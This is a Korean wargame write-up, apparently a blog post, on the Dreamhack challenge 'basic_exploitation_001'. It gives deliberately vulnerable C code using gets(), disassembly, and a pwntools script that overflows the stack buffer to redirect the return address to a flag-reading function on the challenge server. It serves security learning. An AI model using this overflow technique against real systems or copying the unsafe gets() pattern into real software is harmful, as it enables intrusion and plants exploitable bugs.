[Dreamhack Wargame] basic_exploitation_001

don't panic·2023년 12월 9일
0

System Hacking wargame

목록 보기
7/39

code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

checksec 결과

  • 32bit 프로그램
  • NX 말고 다른 보호기법은 걸려있지 않다. 코드 영역에서 실행이 불가능해졌다.

gdb 결과

pwndbg> disass main
Dump of assembler code for function main:
   0x080485cc <+0>:     push   ebp
   0x080485cd <+1>:     mov    ebp,esp
   0x080485cf <+3>:     add    esp,0xffffff80
   0x080485d2 <+6>:     call   0x8048572 <initialize>
   0x080485d7 <+11>:    lea    eax,[ebp-0x80]
   0x080485da <+14>:    push   eax
   0x080485db <+15>:    call   0x80483d0 <gets@plt>
   0x080485e0 <+20>:    add    esp,0x4
   0x080485e3 <+23>:    mov    eax,0x0
   0x080485e8 <+28>:    leave  
   0x080485e9 <+29>:    ret    
End of assembler dump.
  • buf: [ebp-0x80]
  • SFP: [ebp]
  • RET: [ebp+0x4]

exploit.py

  • buf를 overflow하게 입력받아서 return addressread_flag 함수로 바꾼다.
from pwn import *

p = remote('host3.dreamhack.games', 16810)
e = ELF('./basic_exploitation_001')
read_flag = e.symbols['read_flag']

buf = b'A' * 0x80    	# buf
buf += b'A' * 0x4 	  	# SFP
buf += p32(read_flag) 	# RET
p.sendline(buf)

p.interactive()

0개의 댓글